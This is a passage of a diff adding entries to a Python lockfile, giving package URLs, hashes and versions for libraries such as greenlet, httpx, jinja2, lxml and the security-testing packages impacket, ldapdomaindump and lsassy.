"https://files.pythonhosted.org/packages/0c/58/fc576f99037ce19c5aa16628e4c3226b6d1419f72a62c79f5f40576e6eb3/greenlet-3.5.0-cp313-cp313-macosx_11_0_universal2.whl", hash = "sha256:5a5ed18de6a0f6cc7087f1563f6bd93fc7df1c19165ca01e9bde5a5dc281d106", size = 285066, upload-time = "2026-04-27T12:23:05.033Z" }, + { url = "https://files.pythonhosted.org/packages/4a/ba/b28ddbe6bfad6a8ac196ef0e8cff37bc65b79735995b9e410923fffeeb70/greenlet-3.5.0-cp313-cp313-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3a717fbc46d8a354fa675f7c1e813485b6ba3885f9bef0cd56e5ba27d758ff5b", size = 604414, upload-time = "2026-04-27T12:52:42.358Z" }, + { url = "https://files.pythonhosted.org/packages/09/06/4b69f8f0b67603a8be2790e55107a190b376f2627fe0eaf5695d85ffb3cd/greenlet-3.5.0-cp313-cp313-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ddc090c5c1792b10246a78e8c2163ebbe04cf877f9d785c230a7b27b39ad038e", size = 617349, upload-time = "2026-04-27T12:59:43.32Z" }, + { url = "https://files.pythonhosted.org/packages/8a/17/a3918541fd0ddefe024a69de6d16aa7b46d36ac19562adaa63c7fa180eff/greenlet-3.5.0-cp313-cp313-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2094acd54b272cb6eae8c03dd87b3fa1820a4cef18d6889c378d503500a1dc13", size = 613927, upload-time = "2026-04-27T12:25:30.28Z" }, + { url = "https://files.pythonhosted.org/packages/ee/e1/bd0af6213c7dd33175d8a462d4c1fe1175124ebed4855bc1475a5b5242c2/greenlet-3.5.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:5e05ba267789ea87b5a155cf0e810b1ab88bf18e9e8740813945ceb8ee4350ba", size = 1570893, upload-time = "2026-04-27T12:53:29.483Z" }, + { url = "https://files.pythonhosted.org/packages/9b/2a/0789702f864f5382cb476b93d7a9c823c10472658102ccd65f415747d2e2/greenlet-3.5.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:0ecec963079cd58cbd14723582384f11f166fd58883c15dcbfb342e0bc9b5846", size = 1636060, upload-time = "2026-04-27T12:25:28.845Z" }, + { url = "https://files.pythonhosted.org/packages/b2/8f/22bf9df92bbff0eb07842b60f7e63bf7675a9742df628437a9f02d09137f/greenlet-3.5.0-cp313-cp313-win_amd64.whl", hash = "sha256:728d9667d8f2f586644b748dbd9bb67e50d6a9381767d1357714ea6825bb3bf5", size = 238740, upload-time = "2026-04-27T12:24:01.341Z" }, + { url = "https://files.pythonhosted.org/packages/b6/b7/9c5c3d653bd4ff614277c049ac676422e2c557db47b4fe43e6313fc005dc/greenlet-3.5.0-cp313-cp313-win_arm64.whl", hash = "sha256:47422135b1d308c14b2c6e758beedb1acd33bb91679f5670edf77bf46244722b", size = 235525, upload-time = "2026-04-27T12:23:12.308Z" }, + { url = "https://files.pythonhosted.org/packages/94/5e/a70f31e3e8d961c4ce589c15b28e4225d63704e431a23932a3808cbcc867/greenlet-3.5.0-cp314-cp314-macosx_11_0_universal2.whl", hash = "sha256:f35807464c4c58c55f0d31dfa83c541a5615d825c2fe3d2b95360cf7c4e3c0a8", size = 285564, upload-time = "2026-04-27T12:23:08.555Z" }, + { url = "https://files.pythonhosted.org/packages/af/a6/046c0a28e21833e4086918218cfb3d8bed51c075a1b700f20b9d7861c0f4/greenlet-3.5.0-cp314-cp314-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:55fa7ea52771be44af0de27d8b80c02cd18c2c3cddde6c847ecebdf72418b6a1", size = 651166, upload-time = "2026-04-27T12:52:43.644Z" }, + { url = "https://files.pythonhosted.org/packages/47/f8/4af27f71c5ff32a7fbc516adb46370d9c4ae2bc7bd3dc7d066ac542b4b15/greenlet-3.5.0-cp314-cp314-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a97e4821aa710603f94de0da25f25096454d78ffdace5dc77f3a006bc01abba3", size = 663792, upload-time = "2026-04-27T12:59:44.93Z" }, + { url = "https://files.pythonhosted.org/packages/a3/59/1bd6d7428d6ed9106efbb8c52310c60fd04f6672490f452aeaa3829aa436/greenlet-3.5.0-cp314-cp314-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8f52a464e4ed91780bdfbbdd2b97197f3accaa629b98c200f4dffada759f3ae7", size = 660933, upload-time = "2026-04-27T12:25:33.276Z" }, + { url = "https://files.pythonhosted.org/packages/83/e4/b903e5a5fae1e8a28cdd32a0cfbfd560b668c25b692f67768822ddc5f40f/greenlet-3.5.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:762612baf1161ccb8437c0161c668a688223cba28e1bf038f4eb47b13e39ccdf", size = 1618401, upload-time = "2026-04-27T12:53:31.062Z" }, + { url = "https://files.pythonhosted.org/packages/0e/e3/5ec408a329acb854fb607a122e1ee5fb3ff649f9a97952948a90803c0d8e/greenlet-3.5.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:57a43c6079a89713522bc4bcb9f75070ecf5d3dbad7792bfe42239362cbf2a16", size = 1682038, upload-time = "2026-04-27T12:25:31.838Z" }, + { url = "https://files.pythonhosted.org/packages/91/20/6b165108058767ee643c55c5c4904d591a830ee2b3c7dbd359828fbc829f/greenlet-3.5.0-cp314-cp314-win_amd64.whl", hash = "sha256:3bc59be3945ae9750b9e7d45067d01ae3fe90ea5f9ade99239dabdd6e28a5033", size = 239835, upload-time = "2026-04-27T12:24:54.136Z" }, + { url = "https://files.pythonhosted.org/packages/4e/62/1c498375cee177b55d980c1db319f26470e5309e54698c8f8fc06c0fd539/greenlet-3.5.0-cp314-cp314-win_arm64.whl", hash = "sha256:a96fcee45e03fe30a62669fd16ab5c9d3c172660d3085605cb1e2d1280d3c988", size = 236862, upload-time = "2026-04-27T12:23:24.957Z" }, + { url = "https://files.pythonhosted.org/packages/78/a8/4522939255bb5409af4e87132f915446bf3622c2c292d14d3c38d128ae82/greenlet-3.5.0-cp314-cp314t-macosx_11_0_universal2.whl", hash = "sha256:a10a732421ab4fec934783ce3e54763470d0181db6e3468f9103a275c3ed1853", size = 293614, upload-time = "2026-04-27T12:24:12.874Z" }, + { url = "https://files.pythonhosted.org/packages/15/5e/8744c52e2c027b5a8772a01561934c8835f869733e101f62075c60430340/greenlet-3.5.0-cp314-cp314t-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7fc391b1566f2907d17aaebe78f8855dc45675159a775fcf9e61f8ee0078e87f", size = 650723, upload-time = "2026-04-27T12:52:45.412Z" }, + { url = "https://files.pythonhosted.org/packages/00/ef/7b4c39c03cf46ceca512c5d3f914afd85aa30b2cc9a93015b0dd73e4be6c/greenlet-3.5.0-cp314-cp314t-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:680bd0e7ad5e8daa8a4aa89f68fd6adc834b8a8036dc256533f7e08f4a4b01f7", size = 656529, upload-time = "2026-04-27T12:59:46.295Z" }, + { url = "https://files.pythonhosted.org/packages/0b/b5/c7768f352f5c010f92064d0063f987e7dc0cd290a6d92a34109015ce4aa1/greenlet-3.5.0-cp314-cp314t-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ddb36c7d6c9c0a65f18c7258634e0c416c6ab59caac8c987b96f80c2ebda0112", size = 654364, upload-time = "2026-04-27T12:25:35.64Z" }, + { url = "https://files.pythonhosted.org/packages/ef/d0/079ebe12e4b1fc758857ce5be1a5e73f06870f2101e52611d1e71925ce54/greenlet-3.5.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e5ddf316ced87539144621453c3aef229575825fe60c604e62bedc4003f372b2", size = 1614204, upload-time = "2026-04-27T12:53:32.618Z" }, + { url = "https://files.pythonhosted.org/packages/6d/89/6c2fb63df3596552d20e58fb4d96669243388cf680cff222758812c7bfaa/greenlet-3.5.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:4a448128607be0de65342dc9b31be7f948ef4cc0bc8832069350abefd310a8f2", size = 1675480, upload-time = "2026-04-27T12:25:34.168Z" }, + { url = "https://files.pythonhosted.org/packages/15/32/77ee8a6c1564fc345a491a4e85b3bf360e4cf26eac98c4532d2fdb96e01f/greenlet-3.5.0-cp314-cp314t-win_amd64.whl", hash = "sha256:d60097128cb0a1cab9ea541186ea13cd7b847b8449a7787c2e2350da0cb82d86", size = 245324, upload-time = "2026-04-27T12:24:40.295Z" }, +] + +[[package]] +name = "h11" +version = "0.16.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/01/ee/02a2c011bdab74c6fb3c75474d40b3052059d95df7e73351460c8588d963/h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1", size = 101250, upload-time = "2025-04-24T03:35:25.427Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/04/4b/29cac41a4d98d144bf5f6d33995617b185d14b22401f75ca86f384e87ff1/h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86", size = 37515, upload-time = "2025-04-24T03:35:24.344Z" }, +] + +[[package]] +name = "httpcore" +version = "1.0.9" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "certifi" }, + { name = "h11" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/06/94/82699a10bca87a5556c9c59b5963f2d039dbd239f25bc2a63907a05a14cb/httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8", size = 85484, upload-time = "2025-04-24T22:06:22.219Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7e/f5/f66802a942d491edb555dd61e3a9961140fd64c90bce1eafd741609d334d/httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55", size = 78784, upload-time = "2025-04-24T22:06:20.566Z" }, +] + +[[package]] +name = "httpx" +version = "0.28.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio" }, + { name = "certifi" }, + { name = "httpcore" }, + { name = "idna" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/b1/df/48c586a5fe32a0f01324ee087459e112ebb7224f646c0b5023f5e79e9956/httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc", size = 141406, upload-time = "2024-12-06T15:37:23.222Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/2a/39/e50c7c3a983047577ee07d2a9e53faf5a69493943ec3f6a384bdc792deb2/httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad", size = 73517, upload-time = "2024-12-06T15:37:21.509Z" }, +] + +[[package]] +name = "idna" +version = "3.15" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/82/77/7b3966d0b9d1d31a36ddf1746926a11dface89a83409bf1483f0237aa758/idna-3.15.tar.gz", hash = "sha256:ca962446ea538f7092a95e057da437618e886f4d349216d2b1e294abfdb65fdc", size = 199245, upload-time = "2026-05-12T22:45:57.011Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d2/23/408243171aa9aaba178d3e2559159c24c1171a641aa83b67bdd3394ead8e/idna-3.15-py3-none-any.whl", hash = "sha256:048adeaf8c2d788c40fee287673ccaa74c24ffd8dcf09ffa555a2fbb59f10ac8", size = 72340, upload-time = "2026-05-12T22:45:55.733Z" }, +] + +[[package]] +name = "impacket" +version = "0.14.0.dev0+20260317.95020.1049826e" +source = { git = "https://github.com/Pennyw0rth/impacket#1049826efbc556221cca17f94e9fd0b944b8c600" } +dependencies = [ + { name = "charset-normalizer" }, + { name = "flask" }, + { name = "ldap3" }, + { name = "ldapdomaindump" }, + { name = "pyasn1" }, + { name = "pyasn1-modules" }, + { name = "pycryptodomex" }, + { name = "pyopenssl" }, + { name = "pyreadline3", marker = "sys_platform == 'win32'" }, + { name = "six" }, +] + +[[package]] +name = "invoke" +version = "3.0.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/33/f6/227c48c5fe47fa178ccf1fda8f047d16c97ba926567b661e9ce2045c600c/invoke-3.0.3.tar.gz", hash = "sha256:437b6a622223824380bfb4e64f612711a6b648c795f565efc8625af66fb57f0c", size = 343419, upload-time = "2026-04-07T15:17:48.307Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5a/de/bbc12563bbf979618d17625a4e753ff7a078523e28d870d3626daa97261a/invoke-3.0.3-py3-none-any.whl", hash = "sha256:f11327165e5cbb89b2ad1d88d3292b5113332c43b8553b494da435d6ec6f5053", size = 160958, upload-time = "2026-04-07T15:17:46.875Z" }, +] + +[[package]] +name = "itsdangerous" +version = "2.2.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/9c/cb/8ac0172223afbccb63986cc25049b154ecfb5e85932587206f42317be31d/itsdangerous-2.2.0.tar.gz", hash = "sha256:e0050c0b7da1eea53ffaf149c0cfbb5c6e2e2b69c4bef22c81fa6eb73e5f6173", size = 54410, upload-time = "2024-04-16T21:28:15.614Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/04/96/92447566d16df59b2a776c0fb82dbc4d9e07cd95062562af01e408583fc4/itsdangerous-2.2.0-py3-none-any.whl", hash = "sha256:c6242fc49e35958c8b15141343aa660db5fc54d4f13a1db01a3f5891b98700ef", size = 16234, upload-time = "2024-04-16T21:28:14.499Z" }, +] + +[[package]] +name = "jinja2" +version = "3.1.6" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "markupsafe" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/df/bf/f7da0350254c0ed7c72f3e33cef02e048281fec7ecec5f032d4aac52226b/jinja2-3.1.6.tar.gz", hash = "sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d", size = 245115, upload-time = "2025-03-05T20:05:02.478Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/62/a1/3d680cbfd5f4b8f15abc1d571870c5fc3e594bb582bc3b64ea099db13e56/jinja2-3.1.6-py3-none-any.whl", hash = "sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67", size = 134899, upload-time = "2025-03-05T20:05:00.369Z" }, +] + +[[package]] +name = "jwt" +version = "1.4.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "cryptography" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/7f/20/21254c9e601e6c29445d1e8854c2a81bdb554e07a82fb1f9846137a6965c/jwt-1.4.0.tar.gz", hash = "sha256:f6f789128ac247142c79ee10f3dba6e366ec4e77c9920d18c1592e28aa0a7952", size = 24911, upload-time = "2025-06-23T13:28:38.289Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b9/80/34e3fae850adb0b7b8b9b1cf02b2d975fcb68e0e8eb7d56d6b4fc23f7433/jwt-1.4.0-py3-none-any.whl", hash = "sha256:7560a7f1de4f90de94ac645ee0303ac60c95b9e08e058fb69f6c330f71d71b11", size = 18248, upload-time = "2025-06-23T13:28:37.012Z" }, +] + +[[package]] +name = "ldap3" +version = "2.9.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pyasn1" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/43/ac/96bd5464e3edbc61595d0d69989f5d9969ae411866427b2500a8e5b812c0/ldap3-2.9.1.tar.gz", hash = "sha256:f3e7fc4718e3f09dda568b57100095e0ce58633bcabbed8667ce3f8fbaa4229f", size = 398830, upload-time = "2021-07-18T06:34:21.786Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/4e/f6/71d6ec9f18da0b2201287ce9db6afb1a1f637dedb3f0703409558981c723/ldap3-2.9.1-py2.py3-none-any.whl", hash = "sha256:5869596fc4948797020d3f03b7939da938778a0f9e2009f7a072ccf92b8e8d70", size = 432192, upload-time = "2021-07-18T06:34:12.905Z" }, +] + +[[package]] +name = "ldapdomaindump" +version = "0.10.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "dnspython" }, + { name = "ldap3" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/14/48/2757e0453f828e33f7b41e5489976fbe7d504d513e07da53eb904030a288/ldapdomaindump-0.10.0.tar.gz", hash = "sha256:cbc66b32a7787473ffd169c5319acde46c02fdc9d444556e6448e0def91d3299", size = 19445, upload-time = "2025-04-04T07:39:08.006Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/8a/91/5a0015375d5bcc3667f92692e9a244803b9a0e4b651b29a5682e1647669a/ldapdomaindump-0.10.0-py3-none-any.whl", hash = "sha256:3797259596df7a5e1fda98388c96b1d94196f5da5551f1af1aaeedda0c9f5a11", size = 19084, upload-time = "2025-04-04T07:39:06.655Z" }, +] + +[[package]] +name = "lsassy" +version = "3.1.16" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "impacket" }, + { name = "netaddr" }, + { name = "pypykatz" }, + { name = "rich" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/eb/c0/4347e9f02f7caef23af6b1fc3766d4107b3773cd8816d5c4094c13951ca9/lsassy-3.1.16.tar.gz", hash = "sha256:6948360f396c4c704643faadeff5fa5d18336ccc446806ad24e7937e531c57a3", size = 1789468, upload-time = "2026-03-23T09:14:09.608Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/17/4b/f868491fee8116986e8416ffb36a1d8b12c907ed7f7e9a6339b84b0154aa/lsassy-3.1.16-py3-none-any.whl", hash = "sha256:e2672e193815db96ddb3078c6bda1c3e96d425a1072690bf8b8fc17b417c8c2e", size = 1797545, upload-time = "2026-03-23T09:14:05.185Z" }, +] + +[[package]] +name = "lxml" +version = "6.1.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/28/30/9abc9e34c657c33834eaf6cd02124c61bdf5944d802aa48e69be8da3585d/lxml-6.1.0.tar.gz", hash = "sha256:bfd57d8008c4965709a919c3e9a98f76c2c7cb319086b3d26858250620023b13", size = 4197006, upload-time = "2026-04-18T04:32:51.613Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/02/6e/ee8fc0e01202eb3dd2b9e1ea4f0910d72425d35c66187c63931d7a3ea73f/lxml-6.1.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:41dcc4c7b10484257cbd6c37b83ddb26df2b0e5aff5ac00d095689015af868ec", size = 8540733, upload-time = "2026-04-18T04:27:33.185Z" }, + { url = "https://files.pythonhosted.org/packages/54/e8/325fe9b942824c773dffe1baf0c35b046a763851fdff4393af4450bceeb7/lxml-6.1.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:a31286dbb5e74c8e9a5344465b77ab4c5bd511a253b355b5ca2fae7e579fafec", size = 4602805, upload-time = "2026-04-18T04:27:36.097Z" }, + { url = "https://files.pythonhosted.org/packages/2d/81/221aa3ea4a40370bb0358fa454cbe7e5a837e522f7630c24dfef3f9a73b0/lxml-6.1.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:1bc4cc83fb7f66ffb16f74d6dd0162e144333fc36ebcce32246f80c8735b2551", size = 5002652, upload-time = "2026-04-18T04:27:30.603Z" }, + { url = "https://files.pythonhosted.org/packages/c6/e1/fdbfb9019542f1875c093576df7f37adc2983c8ba7ecf17e5f14490bc107/lxml-6.1.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:20cf4d0651987c906a2f5cba4e3a8d6ba4bfdf973cfe2a96c0d6053888ea2ecd", size = 5155332, upload-time = "2026-04-18T04:27:33.507Z" }, + { url = "https://files.pythonhosted.org/packages/56/b1/4087c782fff397cd03abf9c551069be59bb04a7e548c50fb7b9c4cdaca28/lxml-6.1.0-cp310-cp310-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ffb34ea45a82dd637c2c97ae1bbb920850c1e59bcae79ce1c15af531d83e7215", size = 5057226, upload-time = "2026-04-18T04:27:37.567Z" }, + { url = "https://files.pythonhosted.org/packages/5d/66/516c79dec8417f3a972327330254c0b5fac93d5c3ecfd8a5b43650a5a4d9/lxml-6.1.0-cp310-cp310-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a1d9b99e5b2597e4f5aed2484fef835256fa1b68a19e4265c97628ef4bf8bcf4", size = 5287588, upload-time = "2026-04-18T04:27:41.4Z" }, + { url = "https://files.pythonhosted.org/packages/94/1d/e578f4cbeb42b9df9f29b0d44a45a7cdfa3a5ae300dd59ec68e3602d29bb/lxml-6.1.0-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:d43aa26dcda363f21e79afa0668f5029ed7394b3bb8c92a6927a3d34e8b610ea", size = 5412438, upload-time = "2026-04-18T04:27:45.589Z" }, + { url = "https://files.pythonhosted.org/packages/47/5b/2aa68307d6d15959e84d4882f9c04f2da63127eac463e1594166f681ef77/lxml-6.1.0-cp310-cp310-manylinux_2_31_armv7l.whl", hash = "sha256:6262b87f9e5c1e5fe501d6c153247289af42eb44ad7660b9b3de17baaf92d6f6", size = 4770997, upload-time = "2026-04-18T04:27:49.853Z" }, + { url = "https://files.pythonhosted.org/packages/ae/c9/3e51fc1228310a836b4eb32595ae00154ab12197fca944676a3ab3b163ea/lxml-6.1.0-cp310-cp310-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d1392c569c032f78a11a25d1de1c43fff13294c793b39e19d84fade3045cbbc3", size = 5359678, upload-time = "2026-04-18T04:31:56.184Z" }, + { url = "https://files.pythonhosted.org/packages/b5/91/ab8bc834f977fbbd310e697b120787c153db026f9151e02a88d2645d4e5b/lxml-6.1.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:045e387d1f4f42a418380930fa3f45c73c9b392faf67e495e58902e68e8f44a7", size = 5107890, upload-time = "2026-04-18T04:32:00.387Z" }, + { url = "https://files.pythonhosted.org/packages/bb/10/8a143cfa3ac99cb5b0523ff6d0429a9c9dddf25ffeae09caa3866c7964d9/lxml-6.1.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:9f93d5b8b07f73e8c77e3c6556a3db269918390c804b5e5fcdd4858232cc8f16", size = 4803977, upload-time = "2026-04-18T04:32:05.099Z" }, + { url = "https://files.pythonhosted.org/packages/45/fd/ee02faf52fa39c2fe32f824628958b9aa86dff21343dc3161f0e3c6ccd15/lxml-6.1.0-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:de550d129f18d8ab819651ffe4f38b1b713c7e116707de3c0c6400d0ef34fbc1", size = 5350277, upload-time = "2026-04-18T04:32:09.176Z" }, + { url = "https://files.pythonhosted.org/packages/85/8c/b3481364b8554b5d36d540189a87fc71e94b0b01c24f8f152bd662dd2e45/lxml-6.1.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:c08da09dc003c9e8c70e06b53a11db6fb3b250c21c4236b03c7d7b443c318e7a", size = 5309717, upload-time = "2026-04-18T04:32:13.303Z" }, + { url = "https://files.pythonhosted.org/packages/74/e8/a6b21927077a9127afa17473b6576b322616f34ac50ee4f577e763b75ec0/lxml-6.1.0-cp310-cp310-win32.whl", hash = "sha256:37448bf9c7d7adfc5254763901e2bbd6bb876228dfc1fc7f66e58c06368a7544", size = 3598491, upload-time = "2026-04-18T04:27:24.288Z" }, + { url = "https://files.pythonhosted.org/packages/ea/82/14dea800d041274d96c07d49ff9191f011d1427450850de19bf541e2cc12/lxml-6.1.0-cp310-cp310-win_amd64.whl", hash = "sha256:2593a0a6621545b9095b71ad74ed4226eba438a7d9fc3712a99bdb15508cf93a", size = 4020906, upload-time = "2026-04-18T04:27:27.53Z" }, + { url = "https://files.pythonhosted.org/packages/f2/ba/d3539aaf4d9d21456b9a7b902816623227d05d63e7c5aafd8834c4b9bed6/lxml-6.1.0-cp310-cp310-win_arm64.whl", hash = "sha256:e80807d72f96b96ad5588cb85c75616e4f2795a7737d4630784c51497beb7776", size = 3667787, upload-time = "2026-04-18T04:27:29.407Z" }, + { url = "https://files.pythonhosted.org/packages/5e/5d/3bccad330292946f97962df9d5f2d3ae129cce6e212732a781e856b91e07/lxml-6.1.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:cec05be8c876f92a5aa07b01d60bbb4d11cfbdd654cad0561c0d7b5c043a61b9", size = 8526232, upload-time = "2026-04-18T04:27:40.389Z" }, + { url = "https://files.pythonhosted.org/packages/a7/51/adc8826570a112f83bb4ddb3a2ab510bbc2ccd62c1b9fe1f34fae2d90b57/lxml-6.1.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:9c03e048b6ce8e77b09c734e931584894ecd58d08296804ca2d0b184c933ce50", size = 4595448, upload-time = "2026-04-18T04:27:44.208Z" }, + { url = "https://files.pythonhosted.org/packages/54/84/5a9ec07cbe1d2334a6465f863b949a520d2699a755738986dcd3b6b89e3f/lxml-6.1.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:942454ff253da14218f972b23dc72fa4edf6c943f37edd19cd697618b626fac5", size = 4923771, upload-time = "2026-04-18T04:32:17.402Z" }, + { url = "https://files.pythonhosted.org/packages/a7/23/851cfa33b6b38adb628e45ad51fb27105fa34b2b3ba9d1d4aa7a9428dfe0/lxml-6.1.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:d036ee7b99d5148072ac7c9b847193decdfeac633db350363f7bce4fff108f0e", size = 5068101, upload-time = "2026-04-18T04:32:21.437Z" }, + { url = "https://files.pythonhosted.org/packages/b0/38/41bf99c2023c6b79916ba057d83e9db21d642f473cac210201222882d38b/lxml-6.1.0-cp311-cp311-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3ae5d8d5427f3cc317e7950f2da7ad276df0cfa37b8de2f5658959e618ea8512", size = 5002573, upload-time = "2026-04-18T04:32:25.373Z" }, + { url = "https://files.pythonhosted.org/packages/c2/20/053aa10bdc39747e1e923ce2d45413075e84f70a136045bb09e5eaca41d3/lxml-6.1.0-cp311-cp311-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:363e47283bde87051b821826e71dde47f107e08614e1aa312ba0c5711e77738c", size = 5202816, upload-time = "2026-04-18T04:32:29.393Z" }, + { url = "https://files.pythonhosted.org/packages/9a/da/bc710fad8bf04b93baee752c192eaa2210cd3a84f969d0be7830fea55802/lxml-6.1.0-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:f504d861d9f2a8f94020130adac88d66de93841707a23a86244263d1e54682f5", size = 5329999, upload-time = "2026-04-18T04:32:34.019Z" }, + { url = "https://files.pythonhosted.org/packages/b3/cb/bf035dedbdf7fab49411aa52e4236f3445e98d38647d85419e6c0d2806b9/lxml-6.1.0-cp311-cp311-manylinux_2_31_armv7l.whl", hash = "sha256:23a5dc68e08ed13331d61815c08f260f46b4a60fdd1640bbeb82cf89a9d90289", size = 4659643, upload-time = "2026-04-18T04:32:37.932Z" }, + { url = "https://files.pythonhosted.org/packages/5c/4f/22be31f33727a5e4c7b01b0a874503026e50329b259d3587e0b923cf964b/lxml-6.1.0-cp311-cp311-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f15401d8d3dbf239e23c818afc10c7207f7b95f9a307e092122b6f86dd43209a", size = 5265963, upload-time = "2026-04-18T04:32:41.881Z" }, + { url = "https://files.pythonhosted.org/packages/c8/2b/d44d0e5c79226017f4ab8c87a802ebe4f89f97e6585a8e4166dffcdd7b6e/lxml-6.1.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:fcf3da95e93349e0647d48d4b36a12783105bcc74cb0c416952f9988410846a3", size = 5045444, upload-time = "2026-04-18T04:32:44.512Z" }, + { url = "https://files.pythonhosted.org/packages/d3/c3/3f034fec1594c331a6dbf9491238fdcc9d66f68cc529e109ec75b97197e1/lxml-6.1.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:0d082495c5fcf426e425a6e28daaba1fcb6d8f854a4ff01effb1f1f381203eb9", size = 4712703, upload-time = "2026-04-18T04:32:47.16Z" }, + { url = "https://files.pythonhosted.org/packages/12/16/0b83fccc158218aca75a7aa33e97441df737950734246b9fffa39301603d/lxml-6.1.0-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:e3c4f84b24a1fcba435157d111c4b755099c6ff00a3daee1ad281817de75ed11", size = 5252745, upload-time = "2026-04-18T04:32:50.427Z" }, + { url = "https://files.pythonhosted.org/packages/dd/ee/12e6c1b39a77666c02eaa77f94a870aaf63c4ac3a497b2d52319448b01c6/lxml-6.1.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:976a6b39b1b13e8c354ad8d3f261f3a4ac6609518af91bdb5094760a08f132c4", size = 5226822, upload-time = "2026-04-18T04:32:53.437Z" }, + { url = "https://files.pythonhosted.org/packages/34/20/c7852904858b4723af01d2fc14b5d38ff57cb92f01934a127ebd9a9e51aa/lxml-6.1.0-cp311-cp311-win32.whl", hash = "sha256:857efde87d365706590847b916baff69c0bc9252dc5af030e378c9800c0b10e3", size = 3594026, upload-time = "2026-04-18T04:27:31.903Z" }, + { url = 